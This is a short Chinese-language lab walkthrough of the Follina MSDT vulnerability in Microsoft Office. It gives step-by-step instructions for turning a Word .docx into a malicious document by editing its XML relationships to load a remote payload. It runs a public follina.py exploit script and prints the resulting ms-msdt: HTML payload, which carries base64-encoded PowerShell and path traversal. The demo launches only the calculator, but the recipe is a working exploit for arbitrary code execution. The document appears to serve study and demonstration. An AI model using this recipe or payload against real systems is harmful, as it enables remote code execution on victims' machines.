aka Follina
Follina存在於微軟支援診斷工具(Microsoft Support Diagnostic Tool,MSDT)中,當有應用程式透過URL協定呼叫MSDT進行支援時,就會出現遠端程式攻擊漏洞,成功的開採將允許駭客基於所執行應用程式的權限,來執行任意程式。
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 創建 word 文件(.docx),並在文中插入 OLE 物件(如:Bitmap Image)
Step2 解壓縮 .docx 文件,編輯資料夾底下 word/_rels/document.xml.rels 文件,將下圖黃底中的Target="embeddings/oleObject1.bin"修改為
Target = "http://<payload_server>/<random_name>.html!",並新增屬性值TargetMode = "External"。

Step3 編輯資料夾底下 word/document.xml 文件,將下圖黃底中的Type="Embed" 修改為 Type="Link",並新增屬性值UpdateMode="OnCall"。

Step4 利用 7-zip 開啟 .docx 文件(非解壓縮),將上述兩個檔案丟入 .docx 文件,完成惡意文件製作。
下載John Hammond所發布的Follina.py,此處先以基本的呼叫計算機為例,
python3 follina.py -c calc.exe -i eth0
在 Follina.py 文件中 line 117 - 125 主要在製作惡意payload(.html),內容如下,<script>location.href...是會在受害主機上執行計算機的指令碼,整份文件還會填充大量的亂數字元,目的在於將文件填充至最少 4096 byte,原因可參考“Follina” MSDT Attack
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script